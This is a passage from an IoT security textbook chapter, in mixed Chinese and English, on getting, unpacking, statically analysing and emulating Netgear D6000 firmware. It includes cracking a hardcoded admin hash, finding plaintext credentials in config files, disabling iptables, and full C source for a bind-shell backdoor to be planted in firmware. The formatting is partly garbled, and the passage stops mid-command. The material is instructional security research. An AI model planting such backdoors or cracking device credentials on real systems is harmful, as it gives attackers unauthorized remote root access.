另一种常见的方法是探索强大的搜索引擎,例如使用 Google Dorks. 通过正确的查询,你几乎可以在线找到任何内容。搜索 Google 以查找托管在文件共享平台上的二进制文件扩展名,如 MediaFire、Dropbox、Microsoft OneDrive、Google Drive 或 Amazon Drive。经常会看到客户上传到论坛或客户和公司博客上的固件镜像。还可以查看网站的评论区,看看客户和制造商之间的交流。你可能会找到如何获取固件的信息,或者甚至可能发现制造商向客户发送了压缩文件或链接,以从文件共享平台下载固件。以下是一个 Google Dork 示例,用于定位 Netgear 设备的固件文件:
intitle:"Netgear" intext:"Firmware Download"
intitle参数指定页面标题中必须包含的文本,而intext参数指定页面内容中必须包含的文本。此搜索返回了图 9-1 中显示的结果。
此外,不要忽视发现暴露的云存储位置的可能性。搜索 Amazon S3 桶;如果足够幸运,你可能会在厂商未保护的桶中找到固件。(出于法律原因,请确保这些桶没有被意外暴露,并且厂商已授权你访问任何现有的文件。)S3Scanner 工具可以枚举厂商的 Amazon S3 桶。该工具是用 Python 3 编写的,Kali Linux 中已预装。你可以使用git命令下载该应用程序:
$ **git clone https://github.com/sa7mon/S3Scanner**

图 9-1:使用 Google Dork 发现 Netgear 设备的固件链接
然后在应用程序文件夹中导航,使用pip3命令安装所需的依赖项,该命令在 Kali Linux 中也可用:
# cd S3Scanner
# pip3 install -r requirements.txt
现在你可以搜索厂商的 Amazon S3 桶,并枚举哪些提供固件访问:
$ **python3 s3scanner.py vendor_potential_buckets.txt**
2020-05-01 11:16:42 Warning: AWS credentials not configured. Open buckets will be shown as closed. Run: `aws configure` to fix this.
2020-05-01 11:16:45 [found] : netgear | AccessDenied | ACLs: unknown - no aws creds
2020-05-01 11:16:46 [not found] : netgear-dev
2020-05-01 11:16:46 [not found] : netgear-development
2020-05-01 11:16:46 [not found] : netgear-live
2020-05-01 11:16:47 [not found] : netgear-stag
2020-05-01 11:16:47 [not found] : netgear-staging
2020-05-01 11:16:47 [not found] : netgear-prod
2020-05-01 11:16:48 [not found] : netgear-production
2020-05-01 11:16:48 [not found] : netgear-test
2020-05-01 11:16:52 [found] : tplink | AccessDenied | ACLs: unknown - no aws creds
2020-05-01 11:16:52 [not found] : tplinl-dev
参数vendor_potential_buckets.txt指定了一个潜在的桶名称文件供工具尝试。你可以创建自己类似的自定义文件,并提供厂商名称,后跟 S3 桶的常见后缀,如-dev、-development、-live、-staging和-prod。工具最初会输出一个警告通知,表示缺少你的 AWS 凭证,但这是预期的,你可以忽略它。然后,工具会输出发现的 S3 桶及其访问状态。
如果设备配有配套软件,可以尝试应用程序分析方法。通过分析设备的移动配套应用程序或 厚客户端——完全功能的计算机,操作时不需要网络连接——你可能会发现硬编码的端点,应用程序通过这些端点进行通信。这些端点中的一个可能是用于在更新过程中自动下载固件的端点。无论该端点是否经过身份验证,你都应该能够通过分析客户端来下载固件。你可以在第十四章找到分析此类应用程序的方法。
对于仍然接收制造商更新和错误修复的设备,你通常可以在 OTA 更新过程中执行有效的中间人攻击。这些更新通过网络通道从中央服务器或服务器集群推送到每个连接的设备。根据下载固件的应用逻辑复杂性,拦截流量可能是最简单的解决方案。为此,你需要在设备上安装受信任的证书(假设传输是通过 HTTPS 进行的),并使用网络嗅探器、毒化技术(例如 ARP 缓存投毒)和代理来截取流量,并将二进制通信保存到文件中。
在许多设备中,也可能通过设备的引导加载程序转储固件。引导加载程序通常可以通过多种方式访问,例如通过嵌入式串行 RS232 端口、使用特殊的键盘快捷键或通过网络。此外,在大多数消费类设备中,引导加载程序被编程为允许读取和写入闪存。
如果硬件包含暴露的编程接口,如 UART、JTAG 和 SPI,尝试直接连接到这些接口以读取闪存。第七章和第八章将详细解释如何识别和使用这些接口。
最后一种也是最困难的方法是直接从闪存芯片(例如通过 SPI)或 微控制器单元(MCU) 提取固件。MCU 是嵌入在设备板上的单一芯片,包含 CPU、内存、时钟和控制单元。你需要一个芯片编程器来完成此操作。
破解 Wi-Fi 调制解调器路由器
在本节中,我们将以一款非常流行的 Wi-Fi 调制解调器路由器——Netgear D6000 为目标。我们将首先提取该固件的文件系统,并在其中搜索用户凭证。然后,我们将对其进行仿真以进行动态分析。
要找到此固件,导航到厂商网站,找到该设备型号的支持页面(www.netgear.com/support/product/D6000.aspx)。你应该能看到可用的固件和软件下载列表(图 9-2)。
下载文件。由于固件是压缩格式,使用 unzip 命令来提取它。你可以使用 apt-get 安装 unzip:
$ **mkdir** **d6000 && cd d6000**
$ **wget****http://www.downloads.netgear.com/files/GDC/D6000/D6000_V1.0.0.41_1.0.1_FW.zip**
**unzip D6000_V1.0.0.41_1.0.1_FW.zip**

图 9-2:Netgear D6000 支持页面
wget 命令是一个 Unix 工具,用于以非交互方式从网络下载文件。在没有任何附加参数的情况下,wget 会将文件保存在当前工作目录中。然后,unzip 工具会创建一个名为 D6000_V1.0.0.41_1.0.1_FW 的文件夹,里面包含两个文件:D6000-V1.0.0.41_1.0.1.bin,这是设备的固件文件,以及 D6000_V1.0.0.41_1.0.1_Software_Release_Notes.html,它包含厂商关于如何手动安装此固件的说明。
一旦你获取了固件文件,就可以分析它是否存在安全问题。
提取文件系统
大多数消费级路由器的固件包含设备的文件系统,并且是以压缩格式存储的。有时,固件会使用多种算法(如 LZMA 和 LZMA2)多次压缩。让我们提取这个文件系统,挂载它,并搜索其内容以发现安全漏洞。要定位固件文件中的文件系统,可以使用 binwalk 工具,该工具在 Kali Linux 中已预安装:
$ **binwalk** **-e** **-M** **D6000-V1.0.0.41_1.0.1.bin**
-e 参数提取固件中任何已识别的文件,例如引导加载程序和文件系统。-M 参数递归扫描提取的文件,并执行签名分析,以便根据常见模式识别文件类型。但要小心,如果 binwalk 无法正确识别文件类型,它有时会填满你的硬盘。你现在应该有一个名为 _D6000-V1.0.0.41_1.0.1.bin.extracted 的新文件夹,其中包含提取的内容。
请注意,我们使用的是 binwalk 版本 2.1.2-a0c5315\。一些早期版本无法正确提取文件系统。我们建议你使用最新版本的 binwalk,它可以在 GitHub 上找到,网址是 github.com/ReFirmLabs/binwalk/。
静态分析文件系统内容
既然我们已经提取了文件系统,就可以浏览这些文件,尝试找到一些有用的信息。一个好的方法是首先搜索易于获取的信息,比如存储在配置文件中的凭据或具有公开漏洞通告的过时版本的常见二进制文件。寻找任何名为 passwd 或 shadow 的文件,它们通常包含系统上所有用户帐户的信息,包括用户的密码。你可以使用如 grep 或 find 这样的常用工具来执行此操作,这些工具在任何 Unix 系统中都会预安装:
~/d600/_D6000-V1.0.0.41_1.0.1.bin.extracted$ **find** **.** **-name** **passwd**
./squashfs-root/usr/bin/passwd
./squashfs-root/usr/etc/passwd
使用 . 命令,我们指示 Find 工具在当前工作目录中搜索由 -name 参数指定的文件。在这种情况下,我们正在寻找一个名为 passwd 的文件。正如你所看到的,我们找到了两个具有该名称的文件。
bin/passwd 二进制文件在当前形式下无法提供有用的信息。另一方面,etc/passwd 文件是可读的格式。你可以使用 cat 工具读取它:
$ **cat** **.****/****squashfs****-root/****usr****/****etc****/passwd**
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh$
etc/passwd文件包含了一个文本数据库,列出了可以认证到系统的用户。目前只有一个条目,是设备管理员的条目。该条目包含以下字段,通过冒号分隔:用户名、用户密码的哈希、用户标识符、组标识符、用户的附加信息、用户的主文件夹路径,以及用户登录时执行的程序。我们来关注一下密码哈希($1$$iC.dUsGpxNNJGeOm1dFio/)。
破解设备的管理员凭证
使用hashid检测管理员密码的哈希类型。这个工具已经预装在 Kali Linux 中,可以通过正则表达式识别超过 220 种独特的哈希类型:
$ **hashid** **$1****$$iC.dUsGpxNNJGeOm1dFio/**
Analyzing '$1$$iC.dUsGpxNNJGeOm1dFio/'
**[+] MD5 Crypt**
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5
根据输出,我们发现了一个MD5 Crypt哈希。现在我们可以尝试使用暴力破解工具来破解这个密码,比如 john 或 hashcat。这些工具会遍历一个潜在密码的列表,寻找与哈希匹配的密码。
$ **hashcat** **-a 3 -m** **500** **.****/****squashfs****-root/****usr****/****etc****/passwd**
…
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$$iC.dUsGpxNNJGeOm1dFio/
Time.Started.....: Sat Jan 11 18:36:43 2020 (7 secs)
Time.Estimated...: Sat Jan 11 18:36:50 2020 (0 secs)
Guess.Mask.......: ?1?2?2 [3]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 3/15 (20.00%)
Speed.#2.........: 2881 H/s (0.68ms) @ Accel:32 Loops:15 Thr:8 Vec:1
Speed.#3.........: 9165 H/s (1.36ms) @ Accel:32 Loops:15 Thr:64 Vec:1
Speed.#*.........: 12046 H/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 80352/80352 (100.00%)
Rejected.........: 0/80352 (0.00%)
Restore.Point....: 205/1296 (15.82%)
Restore.Sub.#2...: Salt:0 Amplifier:61-62 Iteration:990-1000
Restore.Sub.#3...: Salt:0 Amplifier:61-62 Iteration:990-1000
Candidates.#2....: Xar -> Xpp
Candidates.#3....: Xww -> Xqx
$1$$iC.dUsGpxNNJGeOm1dFio/:1234 [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
-a参数定义了用于猜测明文密码的攻击模式。我们选择模式3来进行暴力破解攻击。模式0会执行字典攻击,模式1会执行组合攻击,将一个字典中的每个单词附加到另一个字典中的每个单词上。你还可以使用模式 6 和 7 进行更专业的攻击。例如,如果你知道密码的最后一个字符是数字,你可以配置工具只尝试以数字结尾的密码。
-m参数定义了我们要破解的哈希类型,500``` representsan MD5 Crypt. You can find more details about the supported hash types on the hashcat web page (hashcat.net/hashcat/).` ``
We recovered the password 1234. It took hashcat less than a minute to crack it!
Finding Credentials in Configuration Files
Using a similar approach to the one at the beginning of this section where we located the passwd file, let’s search the firmware for other secrets. You can often find hardcoded credentials in the configuration files, which end in the cfg extension. The device uses these files to configure the initial state of a service.
Let’s search for files with the cfg extension using the find command:
$ **find .** **-name *****cfg**
./userfs/profile.cfg
./userfs/romfile.cfg
./boaroot/html/NETGEAR_D6000.cfg
./boaroot/html/romfile.cfg
./boaroot/html/NETGEAR_D6010.cfg
./boaroot/html/NETGEAR_D3610.cfg
./boaroot/html/NETGEAR_D3600.cfg
You can then look through the configuration files for relevant information. In romfile.cfg, for example, we find a number of hardcoded user account credentials:
$ **cat ./****squashfs****-root/****userfs****/****romfile.cfg**
…
<Account>
<Entry0 username="admin" web_passwd="password" console_passwd="password" display_mask="FF FF F7 FF FF FF FF FF FF" old_passwd="password" changed="1" temp_passwd="password" expire_time="5" firstuse="0" blank_password="0"/>
<Entry1 username="qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui" web_passwd="12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678" display_mask="F2 8C 84 8C 8C 8C 8C 8C 8C"/>
<Entry2 username="anonymous" web_passwd="anon@localhost" display_mask="FF FF F7 FF FF FF FF FF FF"/>
</Account>
…
We’ve discovered three new users called admin, qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui, and anonymous with their corresponding passwords, which are in plaintext this time.
Remember that we’ve already cracked the credentials for the admin account, yet the password we recovered doesn’t match the one listed here. It’s likely that the first password we found will be replaced by the one in the configuration file on the first boot. Vendors often use configuration files to perform security-related changes when initializing a device. This approach also permits vendors to deploy the same firmware in devices that support different functionalities and require specific settings to operate successfully.
Automating Firmware Analysis
The Firmwalker tool can automate the information gathering and analysis process we just walked through. Install it from github.com/craigz28/firmwalker/, and then run it:
$ **git clone https://github.com/craigz28/firmwalker**
$ **cd** **firmwalker**
$ **./firmwalker.sh ../d6000/_D6000-V1.0.0.41_1.0.1.bin.extracted/****squashfs****-root/**
***固件目录***
../d6000/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-root/
***搜索密码文件***
##################################### passwd
/usr/etc/passwd
/usr/bin/passwd
##################################### shadow
##################################### *.psk
***搜索 Unix-MD5 哈希值***
***搜索 SSL 相关文件***
##################################### *.crt
/usr/etc/802_1X/Certificates/client.crt
##################################### *.pem
/usr/etc/key.pem
/usr/etc/802_1X/CA/cacert.pem
/usr/etc/cert.pem
…
/usr/etc/802_1X/PKEY/client.key
…
##################################### *.cfg
…
/userfs/romfile.cfg
…
The tool automatically located the files we identified manually, among others that also look suspicious. We’ll leave the examination of these new files as an exercise for you to complete.
Netgear patched the vulnerability caused by the hardcoded credentials in the latest firmware and published a security advisory (kb.netgear.com/30560/CVE-2015-8288-Use-of-Hard-coded-Cryptographic-Key/) that informs customers about this issue.
Firmware Emulation
In this section, we’ll show you how to emulate a firmware. Once we’ve done so, we can perform dynamic analysis tests that are only possible while the firmware is operating normally. We’ll use two emulation techniques: binary emulation using Quick Emulator (QEMU) and whole firmware emulation using FIRMADYNE. QEMU is an open source machine emulator and analyzer that works with multiple operating systems and programs, whereas FIRMADYNE (github.com/firmadyne/firmadyne/) is a platform for automating the emulation and dynamic analysis of Linux-based firmware.
Binary Emulation
Emulating a single binary in the firmware is a quick way to infer the related business logic and dynamically analyze the provided functionality for security vulnerabilities. This approach also allows you to use specialized binary analysis tools, disassemblers, and fuzzing frameworks that you usually can’t install in environments with limited resources. Those environments include embedded systems or those that aren’t efficient to use with large and complex inputs, such as a complete device firmware. Unfortunately, you might not be able to emulate binaries that have specialized hardware requirements and look for specific serial ports or device buttons. Also, you might have trouble emulating binaries that depend on shared libraries that get loaded at runtime or those that need to interact with the platform’s other binaries to operate successfully.
To emulate a single binary, we first need to identify its endianness and the CPU architecture for which it was compiled. You can find the main binaries on Linux distributions in the bin folder and list them using the ls command, which is preinstalled in Kali Linux:
$ **ls -****l .****/****squashfs****-root/bin/**
总计 492
lrwxrwxrwx 1 root root 7 2015 年 1 月 24 日 ash -> busybox
-rwxr-xr-x 1 root root 502012 2015 年 1 月 24 日 busybox
lrwxrwxrwx 1 root root 7 2015 年 1 月 24 日 cat -> busybox
lrwxrwxrwx 1 root root 7 2015 年 1 月 24 日 chmod -> busybox
…
lrwxrwxrwx 1 root root 7 2015 年 1 月 24 日 zcat -> busybox
The -l parameter displays extra information about the files, including the paths of symbolic links (references to other files or directories). As you can see, all binaries in the directory are symbolic links to the busybox executable. In limited environments, such as embedded systems, it’s very common to have only a single binary called busybox. This binary performs tasks similar to those of Unix-based operating system executables but uses fewer resources. Attackers have successfully targeted past versions of busybox, but the identified vulnerabilities have been mitigated in the latest versions.
To see the busybox executable’s file format, use the file command:
$ **file .****/****squashfs****-root/bin/****busybox**
./squashfs-root/bin/busybox: ELF 32 位 MSB 可执行文件,MIPS,MIPS32 rel2 版本 1(SYSV),动态链接,解释器 /lib/ld-uClibc.so.0,已去除符号信息
The executable file format is for the MIPS CPU architecture, which is very common in lightweight embedded devices. The MSB label in the output indicates that the executable follows a big-endian byte ordering (as opposed to an output containing the LSB label, which would indicate a little-endian byte ordering).
Now we can emulate the busybox executable using QEMU. Install it using apt-get:
$ **sudo** **apt-get install** **qemu****qemu****-user** **qemu****-user-static** **qemu****-system-arm** **qemu****-system-****mips** **qemu-system-x86** **qemu****-utils**
Because the executables are compiled for MIPS and follow the big-endian byte ordering, we’ll use QEMU’s qemu-mips emulator. To emulate little-endian executables, we would have to select the emulator with the el suffix, which in this case would be qemu-mipsel:
$ **qemu-mips** **-****L .****/****squashfs****-root/** **./****squashfs****-root/bin/****zcat**
zcat: 压缩数据未从终端读取。请使用 -f 强制操作。
You can now perform the rest of the dynamic analysis by fuzzing, debugging, or even performing symbolic execution. You can learn more about these techniques in Practical Binary Analysis by Dennis Andriesse (No Starch Press, 2018).
Complete Firmware Emulation
To emulate the whole firmware rather than a single binary, you can use an open source application called firmadyne. FIRMADYNE is based on QEMU, and it’s designed to perform all the necessary configurations of the QEMU environment and host system for you, simplifying the emulation. But note that FIRMADYNE isn’t always completely stable, especially when the firmware interacts with very specialized hardware components, such as device buttons or secure enclave chips. Those parts of the emulated firmware might not work correctly.
Before we use FIRMADYNE, we need to prepare the environment. The following commands install the packages that this tool needs to operate and clones its repository to our system.
$ **sudo** **apt-get install** **busybox****-static** **fakeroot** **git** **dmsetup****kpartx****netcat-openbsd****nmap** **python-psycopg2 python3-psycopg2** **snmp****uml****-utilities util-****linux****vlan**
$ **git clone --recursive https://github.com/firmadyne/firmadyne.git**
At this point, you should have a firmadyne folder on your system. To quickly set up the tool, navigate to the tool’s directory and run ./setup.sh. Alternatively, you can manually set it up using the steps shown here. Doing so allows you to select the appropriate package managers and tools for your system.
You’ll also have to install a PostgreSQL database to store information used for the emulation. Create a FIRMADYNE user using the -P switch. In this example, we use firmadyne as the password, as recommended by the tool’s authors:
$ **sudo** **apt-get install** **postgresql**
$ **sudo service postgresql start**
$ **sudo** **-u** **postgres****createuser** **-P** **firmadyne**
Then create a new database and load it with the database schema available in the firmadyne repository folder:
$ **sudo** **-u** **postgres****createdb** **-O** **firmadyne** **firmware**
$ **sudo** **-u** **postgres****psql** **-d firmware** **< .****/****firmadyne****/database/schema**
Now that the database is set up, download the prebuilt binaries for all the FIRMADYNE components by running the download.sh script located in the repository folder. Using the prebuilt binaries will significantly reduce the overall setup time.
$ **cd .****/****firmadyne****; ./download.sh**
Then set the FIMWARE_DIR variable to point to the current working repository in the firmadyne.configfile located in the same folder. This change allows FIRMADYNE to locate the binaries in the Kali Linux filesystem.
``` FIRMWARE_DIR=**/home/root/Desktop/****firmadyne** … ``` In this example, the folder is saved on the Desktop, but you should replace the path with the folder’s location on your system. Now copy or download the firmware for the D6000 device (obtained in “Hacking a Wi-Fi Modem Router” on page 211) into this folder: ``` $ **wget** **http://www.downloads.netgear.com/files/GDC/D6000/D6000_V1.0.0.41_1.0.1_FW.zip** ``` FIRMADYNE includes an automated Python script for extracting the firmware. But to use the script, you must first install Python’s `binwalk` module: ``` $ **git clone https://github.com/ReFirmLabs/binwalk.git** $ **cd** **binwalk** $ **sudo** **python setup.py install** ``` We use the `python` command to initialize and set up `binwalk`. Next, we need two more `python` packages, which we can install using Python’s `pip` package manager: ``` $ **sudo** **-H pip install** **git+https****://github.com/****ahupp****/python-magic** $ **sudo** **-H pip install** **git+https****://github.com/****sviehb****/****jefferson** ``` Now you can use FIRMADYNE’s *extractor.py* script to extract the firmware from the compressed file: ``` $ **.****/sources/extractor/extractor.py -b Netgear -****sql 127.0.0.1 -np -nk** **"D6000_V1.0.0.41_1.0.1_FW.zip" images** >> Database Image ID: 1 /home/user/Desktop/firmadyne/D6000_V1.0.0.41_1.0.1_FW.zip >> MD5: 1c4ab13693ba31d259805c7d0976689a >> Tag: 1 >> Temp: /tmp/tmpX9SmRU >> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True >>>> Zip archive data, at least v2.0 to extract, compressed size: 9667454, uncompressed size: 9671530, name: D6000-V1.0.0.41_1.0.1.bin >> Recursing into archive ... /tmp/tmpX9SmRU/_D6000_V1.0.0.41_1.0.1_FW.zip.extracted/D6000-V1.0.0.41_1.0.1.bin >> MD5: 5be7bba89c9e249ebef73576bb1a5c33 >> Tag: 1 1 >> Temp: /tmp/tmpa3dI1c >> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True >> Recursing into archive ... >>>> Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8252568 bytes, 1762 inodes, blocksize: 131072 bytes, created: 2015-01-24 10:52:26 Found Linux filesystem in /tmp/tmpa3dI1c/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs- root! 2 >> Skipping: completed! >> Cleaning up /tmp/tmpa3dI1c... >> Skipping: completed! >> Cleaning up /tmp/tmpX9SmRU... ``` The `-b` parameter specifies the name used to store the results of the extraction. We opted to use the firmware vendor’s name. The `-sql` parameter sets the location of the SQL database. Next, we use two flags recommended by the application’s documentation. The `-nk` parameter keeps any Linux kernel included in the firmware from being extracted, which will speed up the process. The `-np` parameter specifies that no parallel operation will be performed. If the script is successful, the final lines of the output will contain a message indicating that it found the Linux filesystem 2. The `1` tag 1 indicates that the extracted images are located at *./images/1.tar.gz*. Use the *getArch.sh* script to automatically identify the firmware’s architecture and store it in the FIRMADYNE database: ``` $ **./scripts/getArch.sh ./images/1.tar.gz** ./bin/busybox: mipseb ``` FIRMADYNE identified the `mipseb` executable format, which corresponds to MIPS big-endian systems. You should have expected this output, because we got the same result when we used the `file` command in “Binary Emulation” on page 217 to analyze the header of a single binary. Now we’ll use the *tar2db.py* and *makeImage.sh* scripts to store information from the extracted image in the database and generate a QEMU image that we can emulate. ``` $**./****scripts/tar2db.py -****i** **1 -f ./images/1.tar.gz** $./**scripts/makeImage.sh 1** Querying database for architecture... Password for user firmadyne: mipseb … Removing /etc/scripts/sys_resetbutton! ----Setting up FIRMADYNE---- ----Unmounting QEMU Image---- loop deleted : /dev/loop0 ``` We provide the tag name with the `-i` parameter and the location of the extracted firmware with the `–f` parameter. We also have to set up the host device so it can access and interact with the emulated device’s network interfaces. This means that we need to configure an IPv4 address and the proper network routes. The *inferNetwork.sh* script can automatically detect the appropriate settings: ``` $ **./scripts/inferNetwork.sh 1** Querying database for architecture... Password for user firmadyne: mipseb Running firmware 1: terminating after 60 secs... qemu-system-mips: terminating on signal 2 from pid 6215 (timeout) Inferring network... Interfaces: [('br0', **'192.168.1.1'**)] Done! ``` FIRMADYNE successfully identified an interface with the IPv4 address `192.168.1.1` in the emulated device. Additionally, to begin the emulation and set up the host device’s network configuration, use the *run.sh* script, which is automatically created in the *./scratch/1/*`folder:` `````` ``` $ **./scratch/1/run.sh** Creating TAP device tap1_0... Set 'tap1_0' persistent and owned by uid 0 Bringing up TAP device... Adding route to 192.168.1.1... Starting firmware emulation... use Ctrl-a + x to exit [ 0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016 [ 0.000000] [ 0.000000] LINUX started... … Please press Enter to activate this console. tc login:**admin** Password: # ``` 应该会出现一个登录提示。你应该能够使用在“在配置文件中查找凭证”第 215 页中发现的一组凭证进行身份验证。 ### 动态分析 现在,你可以像使用主机设备一样使用固件。尽管我们在这里不会详细讲解完整的动态分析过程,但我们会给你一些起步的建议。例如,你可以使用 `ls` 命令列出固件的*rootfs*文件。因为你已经模拟了固件,你可能会发现一些在设备启动后生成的文件,这些文件在静态分析阶段是不存在的。 ``` $ **ls** bin firmadyne lost+found tmp boaroot firmware_version proc userfs dev lib sbin usr etc linuxrc sys var ``` 浏览这些目录。例如,在 *etc* 目录中,*/etc/passwd* 文件在基于 Unix 的系统中维护身份验证详情。你可以用它来验证在静态分析中识别的帐户是否存在。 ``` $ **cat /****etc****/passwd** admin:$1$$I2o9Z7NcvQAKp7wyCTlia0:0:0:root:/:/bin/sh qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwerty ``` uiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui:$1$$MJ7v7GdeVaM1xIZdZYKzL1:0:0:root:/:/bin/sh ``` anonymous:$1$$D3XHL7Q5PI3Ut1WUbrnz20:0:0:root:/:/bin/sh ``` 接下来,识别网络服务和已建立的连接非常重要,因为你可能会发现一些可以在后续阶段进行进一步利用的服务。你可以使用 `netstat` 命令来实现这一点: ``` $ **netstat -a -n -u -t** Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN tcp 0 0 :::80 :::* LISTEN tcp 0 0 :::53 :::* LISTEN tcp 0 0 :::443 :::* LISTEN udp 0 0 192.168.1.1:137 0.0.0.0:* udp 0 0 0.0.0.0:137 0.0.0.0:* udp 0 0 192.168.1.1:138 0.0.0.0:* udp 0 0 0.0.0.0:138 0.0.0.0:* udp 0 0 0.0.0.0:50851 0.0.0.0:* udp 0 0 0.0.0.0:53 0.0.0.0:* udp 0 0 0.0.0.0:67 0.0.0.0:* udp 0 0 :::53 :::* udp 0 0 :::69 :::* ``` `-a` 参数请求监听和非监听网络套接字(IP 地址和端口的组合)。`-n` 参数以数字格式显示 IP 地址。`-u` 和 `-t` 参数返回 UDP 和 TCP 套接字。输出表示在 80 和 443 端口上存在一个等待连接的 HTTP 服务器。 要从主机设备访问网络服务,可能需要禁用固件中现有的防火墙实现。在 Linux 平台上,这些实现通常基于 `iptables`,它是一个命令行工具,允许你配置 Linux 内核中的 IP 数据包过滤规则列表。每条规则列出了某些网络连接属性,如使用的端口、源 IP 地址和目标 IP 地址,并指定是否允许或阻止具有这些属性的网络连接。如果新的网络连接与任何规则都不匹配,防火墙将使用默认策略。要禁用任何基于 `iptables` 的防火墙,可以使用以下命令将默认策略更改为接受所有连接,然后清除任何现有规则: ``` $ **iptables --policy INPUT ACCEPT** $ **iptables --policy FORWARD ACCEPT** $ **iptables --policy OUTPUT ACCEPT** $ **iptables -F** ``` 现在尝试使用浏览器访问设备的 IP 地址,以访问固件托管的 web 应用程序(图 9-3)。  图 9-3:固件的 web 应用程序 你可能无法访问所有固件的 HTTP 页面,因为其中许多页面需要来自专用硬件组件的反馈,例如 Wi-Fi、重置和 WPS 按钮。FIRMADYNE 很可能不会自动检测并模拟所有这些组件,结果可能会导致 HTTP 服务器崩溃。你可能需要多次重启固件的 HTTP 服务器才能访问某些页面。我们将这部分留给你自行完成。 本章不会涵盖网络攻击,但你可以使用第四章中的信息来识别网络堆栈和服务中的漏洞。首先评估设备的 HTTP 服务。例如,公开访问的页面 */cgi-bin/passrec.asp* 的源代码包含管理员密码。Netgear 已在 [`kb.netgear.com/30490/CVE-2015-8289-Authentication-Bypass-Using-an-Alternate-Path-or-Channel/`](https://kb.netgear.com/30490/CVE-2015-8289-Authentication-Bypass-Using-an-Alternate-Path-or-Channel/) 发布了这个漏洞。 ## 后门固件 *后门代理* 是一种隐藏在计算设备中的软件,允许攻击者获得对系统的未经授权访问。在本节中,我们将通过添加一个微小的后门来修改固件,该后门将在固件启动时执行,提供给攻击者从受害设备获得 shell。除此之外,后门还将允许我们在真实且功能完整的设备上执行动态分析,并获得 root 权限。当 FIRMADYNE 无法正确模拟所有固件功能时,这种方法尤为有用。 作为后门代理,我们将使用 Osanda Malith 编写的一个简单绑定 shell(Listing 9-1)。这个脚本监听新传入的连接到一个预定义的网络端口,并允许远程执行代码。我们在原始脚本中添加了一个 `fork()` 命令,使其能够在后台运行。这样会创建一个新的子进程,该进程并行运行在后台,而父进程简单地终止,并防止调用程序停止。 ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define SERVER_PORT 9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) * Bind Shell using Fork for my TP-Link mr3020 router running busybox * Arch : MIPS * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc */ int main() { int serverfd, clientfd, server_pid, i = 0; char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; char *args[] = { "/bin/busybox", "sh", (char *) 0 }; struct sockaddr_in server, client; socklen_t len; **int x =** **fork(****);** **if (x ==** **0){** server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY; serverfd = socket(AF_INET, SOCK_STREAM, 0); bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1); while (1) { len = sizeof(struct sockaddr); clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork(); if (server_pid) { write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd); } close(clientfd); } **}** return 0; } ``` Listing 9-1:修改版 Osanda Malith 的后门脚本 ([`github.com/OsandaMalith/TP-Link/blob/master/bindshell.c`](https://github.com/OsandaMalith/TP-Link/blob/master/bindshell.c)) 执行该脚本后,它将在端口 9999 上开始监听,并将通过该端口收到的任何输入作为系统命令执行。 要编译后门代理,我们首先需要设置编译环境。最简单的方法是使用 OpenWrt 项目的频繁更新的工具链。 ``` $ **git clone https://github.com/openwrt/openwrt** $ **cd** **openwrt** $ **.****/scripts/feeds update -a** $ **.****/scripts/feeds install -a** $ **make** **menuconfig** ``` 默认情况下,这些命令将为基于 MIPS 处理器的 Atheros AR7 系列的系统芯片(SoC)路由器编译固件。要设置其他值,请点击 **目标系统** 并选择可用的 Atheros AR7 设备之一(图 9-4)。  图 9-4:重新配置 OpenWrt 构建目标环境 然后通过点击 **保存** 选项将更改保存到新配置文件,并通过点击 **退出** 选项退出菜单(图 9-5)。  图 9-5:在 OpenWrt 设置中选择 Atheros 目标 接下来,使用 `make` 命令编译工具链: ``` $ **make toolchain/install** time: target/linux/prereq#0.53#0.11#0.63 make[1] toolchain/install make[2] tools/compile make[3] -C tools/flock compile … ``` 在 OpenWrt 的 *staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/* 文件夹中,你会找到 *mips-openwrt-linux-gcc* 编译器,你可以按如下方式使用它: ``` $ **export STAGING_DIR="/root/Desktop/****mips_backdoor****/****openwrt****/****staging_dir****"** $ 